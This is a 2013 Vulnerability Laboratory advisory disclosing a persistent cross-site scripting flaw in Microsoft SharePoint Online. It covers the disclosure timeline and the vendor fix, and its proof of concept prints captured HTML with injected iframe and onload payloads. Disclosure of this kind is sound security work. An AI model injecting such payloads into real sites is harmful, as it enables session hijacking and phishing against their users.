The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Title:
======
Microsoft SharePoint (Cloud) - Persistent Exception-Handling Web
Vulnerability
Date:
=====
2013-06-14
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=812
Microsoft Security Response Center (MSRC) ID: 14096
Microsoft Security Response Center (MSRC) MANAGER: JT
MSRC Security Bulletin Acknowledgment: June
VL-ID:
=====
812
Common Vulnerability Scoring System:
====================================
5.7
Introduction:
=============
Microsoft SharePoint is a Web application platform developed by
Microsoft. First launched in 2001, SharePoint has historically been
associated with intranet content management and document management, but
recent versions have significantly broader capabilities.
Microsoft has two versions of SharePoint available at no cost, but it
sells premium editions with additional functionality, and
provides a cloud service edition as part of their Office 365 platform
(previously BPOS). The product is also sold through a cloud
model by many third-party vendors.
SharePoint comprises a multipurpose set of Web technologies backed by a
common technical infrastructure. By default, SharePoint has a
Microsoft Office-like interface, and it is closely integrated with the
Office suite. The web tools are designed to be usable by non-
technical users. SharePoint can be used to provide intranet portals,
document & file management, collaboration, social networks, extranets,
websites, enterprise search, and business intelligence. It also has
system integration, process integration, and workflow automation
capabilities.
Enterprise application software (e.g. ERP or CRM packages) often provide
some SharePoint integration capability, and SharePoint also
incorporates a complete development stack based on web technologies and
standards-based APIs. As an application platform, SharePoint provides
central management, governance, and security controls for implementation
of these requirements. The SharePoint platform integrates directly
into IIS - enabling bulk management, scaling, and provisioning of
servers, as is often required by large organizations or cloud hosting
providers.
In 2008, the Gartner Group put SharePoint in the`leaders` quadrant in
three of its Magic Quadrants (for search, portals, and enterprise content
management). SharePoint is used by 78% of Fortune 500 companies[citation
needed]. Between 2006 to 2011, Microsoft sold over 36.5 million user
licenses[citation needed].
(Copy of the Homepage: http://en.wikipedia.org/wiki/Microsoft_SharePoint )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered a persistent web
vulnerability in the official Microsoft Sharepoint Online (cloud-based)
application.
Report-Timeline:
================
2013-02-01: Researcher Notification & Coordination
2013-02-06: Vendor Notification (Microsoft Security Response Center - MSRC)
2013-02-07: Vendor Response/Feedback (Microsoft Security Response Center
- MSRC)
2013-06-10: Vendor Fix/Patch (Microsoft Development Team)
2013-06-14: Public Disclosure (Vulnerability Laboratory)
Status:
========
Published
Affected Products:
==================
Microsoft Corp.
Product: Sharepoint Online (Cloud-Based) - Office 365
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
A persistent input validation vulnerability is detected in the official
Microsoft Sharepoint Online (cloud-based) application.
The vulnerability allows remote attackers to inject own malicious script
code in the vulnerable module on application side (persistent).
The vulnerability is located in the `Sharepoint Online Cloud Service`
section when processing to request via the `Berechtigungen für den
Metadatenspeicher festlegen` module the bound vulnerable
ms-descriptionText >
ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBody
MainSection_ValSummary application parameter. The persistent injected
script code will be executed directly out of the `invalid BDC
Ãbereinstimmung` web application exception-handling.
The vulnerability can be exploited with a low (restricted) privilege
application user account and low or medium required user interaction.
Successful exploitation of the vulnerability result in persistent
session hijacking, persistent phishing, stable external redirect, stable
external malware loads and persistent vulnerable module context
manipulation.
Vulnerable Service(s):
[+] Microsoft - Sharepoint Online (cloud-based)
Vulnerable Module(s):
[+] Berechtigungen für den Metadatenspeicher festlegen - BDC
Metadatenspeicher zuweisen
Vulnerable Parameter(s):
[+] ms-descriptionText >
ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary
Affected Module(s):
[+] BDC Ãbereinstimmung > Exception Handling
Proof of Concept:
=================
The persistent input validation web vulnerability can be exploited by
remote attackers with low required user interaction and low privileged
sharepoint cloud application user account. For demonstration or
reproduce ...
Review: Berechtigungen den Metadatenspeicher festlegen - Summery >
BDC Ãbereinstimmung > Exception
<table class="propertysheet" border="0" cellpadding="0" cellspacing="0"
width="100%"> <tbody><tr> <td class="ms-descriptionText">
<span
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelMessage"
class="ms-descriptionText"></span> </td>
</tr> <tr> <td class="ms-error"><span
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelErrorMessage">
Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit
dem
Namen 'ApplicationRegistry' zuzuweisen. Mindestens ein Benutzer oder
eine Gruppe in der Zugriffssteuerungsliste muss über das Recht
'SetPermissions' verfügen, um das Erstellen eines nicht verwaltbaren
Objekts zu verhindern.</span></td> </tr> <tr> <td
class="ms-descriptionText">
<div
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary"
style="color:Red;">Mindestens ein Fehler auf der Seite.
Beheben Sie Folgendes, bevor Sie fortfahren:<ul><li>Es wurde keine
exakte Ãbereinstimmung
für <iframe
src="TA_ManageBDCPermissions_data/a.txt">%20%20%20%20"><iframe
src=http://www.vulnerability-lab.com onload=alert("VL") <<iframe
src=a>%20%20%20%20"><iframe src=http://www.vulnerability-lab.com
onload=alert("VL") <
gefunden.</li></ul>
</div> </td> </tr> </table>
<table border="0" cellspacing="0" cellpadding="0" width="100%"
class="ms-authoringcontrols">
<tr>
<td>
----------
<table class="propertysheet" border="0" cellpadding="0" cellspacing="0"
width="100%"> <tbody><tr> <td class="ms-descriptionText">
<span
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelMessage"
class="ms-descriptionText"></span> </td>
</tr> <tr> <td class="ms-error"><span
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelErrorMessage">
Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit
dem
Namen 'ApplicationRegistry' zuzuweisen. Mindestens ein Benutzer oder
eine Gruppe in der Zugriffssteuerungsliste muss über das Recht
'SetPermissions' verfügen, um das Erstellen eines nicht verwaltbaren
Objekts zu verhindern.</span></td> </tr> <tr> <td
class="ms-descriptionText">
<div
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary"
style="color:Red;">Mindestens ein Fehler auf der Seite.
Beheben Sie Folgendes, bevor Sie fortfahren:<ul><li>Es wurde keine
exakte Ãbereinstimmung
für <iframe
src="TA_ManageBDCPermissions_data/a.txt">%20%20%20%20"><[PERSISTENT
INJECTED SCRIPT CODE!]) <<[PERSISTENT INJECTED SCRIPT CODE!]>
%20[PERSISTENT INJECTED SCRIPT CODE!]) <
gefunden.</li></ul>
</div> </td> </tr> </table>
<table border="0" cellspacing="0" cellpadding="0" width="100%"
class="ms-authoringcontrols">
<tr>
<td>
--- Exception Handling (DE) ---
Sie knnen Administratoren des BDC-Metadatenspeichers zuweisen, indem
Sie unten Berechtigungen festlegen.
Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit
dem Namen 'ApplicationRegistry' zuzuweisen.
Mindestens ein Benutzer oder eine Gruppe in der Zugriffssteuerungsliste
muss über das Recht 'SetPermissions' verfgen,
um das Erstellen eines nicht verwaltbaren Objekts zu verhindern.
Mindestens ein Fehler auf der Seite. Beheben Sie Folgendes,
bevor Sie fortfahren: Es wurde keine exakte bereinstimmung fr ...
[Injected Context] ... gefunden/festgestellt.
Sie konnen Administratoren des BDC-Metadatenspeichers zuweisen, indem
Sie unten Berechtigungen festlegen
---
Note: (US)
After youe added your domain name to Office 365 to use with SharePoint
Online and Lync Online, you can create email addresses,
Lync Online accounts, and distribution groups that use your custom
domain name. You can also use your domain name for a public
website hosted on SharePoint Online but there are Use SharePoint Online
on a custom domain together with other services.
Reference(s):
https://benjamin23-admin.sharepoint.com/default.aspx
https://benjamin23-admin.sharepoint.com/_layouts/bdc/TA_ViewBDCApplication.aspx
Risk:
=====
The security risk of the of the persistent input validation
vulnerability is estimated as high(-) because of the location in the
core exception-handling.
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
([email protected])
Disclaimer:
===========
The information provided in this advisory is provided as it is without
any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including
direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers
have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any
vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com -
www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] -
[email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com -
news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab -
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team
& the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or
[email protected]) to get a permission.
Copyright 2013 | Vulnerability Laboratory
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum